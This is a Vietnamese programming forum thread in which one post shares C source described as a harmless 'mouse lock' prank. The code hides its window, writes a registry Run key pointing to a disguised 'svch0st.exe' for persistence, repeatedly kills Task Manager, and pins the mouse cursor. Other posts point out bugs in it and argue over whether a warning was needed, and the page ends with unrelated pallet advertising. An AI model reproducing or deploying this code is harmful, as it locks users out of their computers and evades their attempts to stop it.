-
03-05-2014, 08:23 AM #1Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Bạn này copy cái mã từ đâu về, chưa chịu chỉnh sửa, chắc cũng chưa biên dịch, đã thảy lên rồi, vội quá.
Mới đọc qua bằng mắt đã thấy có 2 chỗ có vấn đề:
1. "c:\\WINDOWS\\svch0st.exe". Bật Task Manager lên chỉ thấy có "svchost.exe" thôi nhé.
2. "SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run". Vội đến nỗi chưa kịp xóa khoảng trống giữa 2 dấu "\ \".
Sửa lại nhé bạn! Thân.View more random threads:
- Nhúng file .dll và sử dụng các hàm API
- Phân loại nhạc sử dụng Biến đổi Fourier
- DivIP - Chương trình chia địa chỉ IP và subnet theo VLSM [Setup+SourceCode]
- File splitter-Công cụ cắt nhỏ file
- game đào vàng sử dụng C++ hoặc C# ??
- Melody Memory - Game đơn giản
- Source Game Xếp hình C++
- [Sản phẩm] 1 CT về OpenGL
- Thuật qoán quay ảnh!!!
- [GAME VIET]Share Code 2048 - C++
-
03-05-2014, 04:02 PM #2Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Code C khóa chuột máy tính. Buồn buồn nghịch chơi tí :)
#include <windows.h>
#include <winbase.h>
#include <tlhelp32.h>
#include <ctype.h>
#include <string.h>
#define BUFSIZE 90
int test_key(void);
int create_key(char *);
int kill(void);
BOOL KillProcess(LPSTR lpszExecutable)
{
BOOL bResult = FALSE;
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
HANDLE hProcess, hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(Process32First(hProcesses, &pe32)){
do{
if(CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, pe32.szExeFile, -1, lpszExecutable, -1) == CSTR_EQUAL){
if((hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID)) != NULL){
TerminateProcess(hProcess, 0); CloseHandle(hProcess); bResult = TRUE;
}
}
}while(Process32Next(hProcesses, &pe32));
CloseHandle(hProcesses);
}
return bResult;
}
int main(void)
{
int test,create;
test=test_key();
if (test==2)
{
char *path="c:\\WINDOWS\\svch0st.exe";
create=create_key(path);
}
HWND inv;
AllocConsole();
inv=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(inv,0);
int c;
for(c=0;c<999999999999;c++)
{
kill();
SetCursorPos(1,900);
Sleep(9);
}
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QU ERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}
int kill(void)
{
return KillProcess("taskmgr.exe");
}
-
04-05-2014, 03:32 PM #3Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
ò. cảm ơn góp ý sâu sắc của anh!. Đương nhiên em biết 2 vấn đề mà anh đề cập, và em không dại gì mà thử trò này, em bê nguyên của tác giả lên được chưa anh. [IMG]images/smilies/wink.png[/IMG]
-
04-05-2014, 04:02 PM #4Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
Nếu vậy thì bạn cũng nên cảnh báo chứ nhỉ, đó mới là chia sẻ và học hỏi. Bạn đã không dại gì thử trò này, vậy nếu bạn nào khác cố gắng chỉnh sửa, biên dịch rồi chạy thì sẽ ra sao.
Thôi, lần sau đừng thử như vậy nữa bạn, chia sẻ vài cảm nghĩ với bạn, thân !
-
04-05-2014, 04:28 PM #5Junior Member
- Ngày tham gia
- Sep 2015
- Bài viết
- 0
anh căng thẳng quá rồi.hihi. Em nghĩ chắc chẳng có ai dại mà thử. Muốn đem lên cho mọi người xem code thôi mà [IMG]images/smilies/biggrin.png[/IMG]
- - - Nội dung đã được cập nhật ngày 04-05-2014 lúc 09:28 PM - - -
em nghĩ chẳng có ai dại mà thử đâu. Muốn show lên cho mọi người xem code thôi [IMG]images/smilies/biggrin.png[/IMG]
Pallet nhựa Long An đã trở thành một trong những lựa chọn phổ biến cho nhu cầu vận chuyển và lưu trữ hàng hóa trong nhiều ngành công nghiệp. Với đặc tính nhẹ nhàng, chắc chắn và dễ vận chuyển, các...
Thanh lý pallet nhựa Long An giá rẻ